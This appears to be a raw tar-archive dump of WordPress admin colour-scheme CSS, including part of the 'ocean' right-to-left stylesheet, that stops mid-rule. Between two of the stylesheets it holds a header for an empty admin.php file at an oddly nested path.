a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#04a4cc}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#04a4cc}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#999}#wpadminbar #adminbarsearch:before{color:#999}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#333;background:rgb(246.85,246.85,246.85)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#d64e07}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(192.6,70.2,6.3)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(246.85,246.85,246.85);background-color:rgb(246.85,246.85,246.85)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#333}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#04a4cc}#wpadminbar #wp-admin-bar-user-info .username{color:rgb(104.4,104.4,104.4)}.wp-pointer .wp-pointer-content h3{background-color:#04a4cc;border-color:rgb(3.5096153846,143.8942307692,178.9903846154)}.wp-pointer .wp-pointer-content h3:before{color:#04a4cc}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#04a4cc}.media-item .bar,.media-progress-bar div{background-color:#04a4cc}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #04a4cc}.attachment.details .check{background-color:#04a4cc;box-shadow:0 0 0 1px #fff,0 0 0 2px #04a4cc}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #04a4cc}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#04a4cc}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#04a4cc}.theme-filter.current,.theme-section.current{border-bottom-color:#e5e5e5}body.more-filters-opened .more-filters{color:#333;background-color:#e5e5e5}body.more-filters-opened .more-filters:before{color:#333}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#888;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#888;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(8.8269230769,201.9038461538,250.1730769231),0 0 2px 1px #04a4cc}div#wp-responsive-toggle a:before{color:#999}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#888}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#fff}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#999}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#04a4cc}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-right-color:#04a4cc}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#04a4cc}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-right-color:#04a4cc}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(8.8269230769,201.9038461538,250.1730769231),0 0 2px 1px #04a4cc}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#04a4cc;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#04a4cc}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#04a4cc;border-style:solid;box-shadow:0 0 0 1px #04a4cc;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#04a4cc}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#04a4cc}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#04a4cc}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(8.8269230769,201.9038461538,250.1730769231),0 0 2px 1px #04a4cc}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#04a4cc;color:#0073aa}.theme-filter.current,.theme-section.current{border-bottom-color:#04a4cc} css/colors/ocean/v2/v2/dist/fxpy/hsi/admin.php 0000644 00000000000 15233246127 0015110 0 ustar 00 css/colors/ocean/colors-rtl.css 0000644 00000061072 15233246127 0012547 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f0f0f0; } /* Links */ a { color: #0073aa; } a:hover, a:active, a:focus { color: rgb(0, 149.5, 221); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(0, 149.5, 221); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #fff; background-color: #738e96; } .wp-core-ui .wp-ui-text-primary { color: #738e96; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #9ebaa0; } .wp-core-ui .wp-ui-text-highlight { color: #9ebaa0; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #aa9d88; } .wp-core-ui .wp-ui-text-notification { color: #aa9d88; } .wp-core-ui .wp-ui-text-icon { color: #f2fcff; } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #738e96; } .view-switch a:hover:before { color: #aa9d88; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #738e96; } #adminmenu a { color: #fff; } #adminmenu div.wp-menu-image:before { color: #f2fcff; } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #9ebaa0; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #fff; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f0f0f0; border-bottom-color: #f0f0f0; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: rgb(98.2714285714, 123.5412244898, 131.0285714286); } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-left-color: rgb(98.2714285714, 123.5412244898, 131.0285714286); } #adminmenu .wp-submenu .wp-submenu-head { color: rgb(213, 221.1, 223.5); } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: rgb(213, 221.1, 223.5); } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: #9ebaa0; } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #fff; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: #9ebaa0; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-left-color: #f0f0f0; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #9ebaa0; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #fff; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #aa9d88; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #fff; background: rgb(98.2714285714, 123.5412244898, 131.0285714286); } /* Admin Menu: collapse button */ #collapse-button { color: #f2fcff; } #collapse-button:hover, #collapse-button:focus { color: #9ebaa0; } /* Admin Bar */ #wpadminbar { color: #fff; background: #738e96; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #fff; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: #f2fcff; } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: #9ebaa0; background: rgb(98.2714285714, 123.5412244898, 131.0285714286); } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #9ebaa0; } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: #9ebaa0; } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: rgb(98.2714285714, 123.5412244898, 131.0285714286); } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(142.7255, 154.4890142857, 157.9745); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: rgb(213, 221.1, 223.5); } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: #f2fcff; } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #9ebaa0; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #9ebaa0; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: #f2fcff; } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: #f2fcff; } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #fff; background: rgb(135.4, 158.4657142857, 165.3); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #aa9d88; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(153, 141.3, 122.4); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(135.4, 158.4657142857, 165.3); background-color: rgb(135.4, 158.4657142857, 165.3); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: #9ebaa0; } #wpadminbar #wp-admin-bar-user-info .username { color: rgb(213, 221.1, 223.5); } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #9ebaa0; border-color: rgb(143.0993975904, 175.4006024096, 145.406626506); } .wp-pointer .wp-pointer-content h3:before { color: #9ebaa0; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #9ebaa0; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #9ebaa0; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #9ebaa0; } .attachment.details .check { background-color: #9ebaa0; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #9ebaa0; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #9ebaa0; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #9ebaa0; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #9ebaa0; } .theme-section.current, .theme-filter.current { border-bottom-color: #738e96; } body.more-filters-opened .more-filters { color: #fff; background-color: #738e96; } body.more-filters-opened .more-filters:before { color: #fff; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #9ebaa0; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #9ebaa0; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(187.8012048193, 207.1987951807, 189.186746988), 0 0 2px 1px #9ebaa0; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: #f2fcff; } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #9ebaa0; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: rgb(98.2714285714, 123.5412244898, 131.0285714286); } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: #f2fcff; } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #9ebaa0; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #0073aa; border-right-color: #9ebaa0; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #0073aa; border-top-color: #9ebaa0; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #0073aa; border-right-color: #9ebaa0; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #0073aa; } .wp-core-ui .customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui #customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(187.8012048193, 207.1987951807, 189.186746988), 0 0 2px 1px #9ebaa0; } .wp-core-ui #customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info 